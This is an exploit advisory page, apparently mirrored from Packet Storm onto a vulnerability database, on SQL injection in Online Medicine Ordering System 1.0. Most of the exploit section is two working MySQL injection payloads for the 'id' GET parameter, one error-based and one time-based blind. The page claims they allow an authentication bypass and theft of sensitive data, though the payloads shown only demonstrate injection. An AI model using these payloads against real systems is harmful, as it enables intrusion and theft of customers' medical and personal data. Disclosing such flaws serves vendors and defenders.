Lucene search
K

Online Medicine Ordering System 1.0 Authentication Bypass / SQL Injection

🗓️ 28 Mar 2025 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 170 Views

Critical SQL injection allows authentication bypass and access to sensitive data in system.

Code
# Titles: OMOS-1.0-Copyright©2025-Multiple-SQLi
    # Author: nu11secur1ty
    # Date: 03/28/2025
    # Vendor: https://github.com/oretnom23
    # Software:
    https://www.sourcecodester.com/php/15359/online-medicine-ordering-system-phpoop-free-source-code.html
    # Reference: https://portswigger.net/web-security/sql-injection
    
    ## Description:
    The id parameter appears to be vulnerable to SQL injection attacks. A
    single quote was submitted in the id parameter, and a database error
    message was returned. Two single quotes were then submitted and the error
    message disappeared. You should review the contents of the error message,
    and the application's handling of other input, to confirm whether a
    vulnerability is present. The attacker can get all sensitive information
    from this system when he attacks it online, He can login super easily
    WITHOUT PASSWORD - ONLY USER - bypassing, and can crash or get every
    sensitive information from him!
    
    STATUS: HIGH-CRITICAL Vulnerability
    
    
    [+]Exploit:
    - SQLi-Bypass login authentication:
    
    ```SQLi
    ---
    Parameter: id (GET)
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
    BY clause (FLOOR)
        Payload: p=products/view_product&id=4' AND (SELECT 5376 FROM(SELECT
    COUNT(*),CONCAT(0x71766a6b71,(SELECT
    (ELT(5376=5376,1))),0x716b707171,FLOOR(RAND(0)*2))x FROM
    INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# RseW
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: p=products/view_product&id=4' AND (SELECT 6960 FROM
    (SELECT(SLEEP(7)))zPhG)# HsPd
    ---
    ```
    
    # Reproduce:
    [href](https://www.patreon.com/posts/omos-1-0-c-2025-125353759)
    
    
    ## Time spent:
    01:15:00

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2025 00:00Current
8.7High risk
Vulners AI Score8.7
170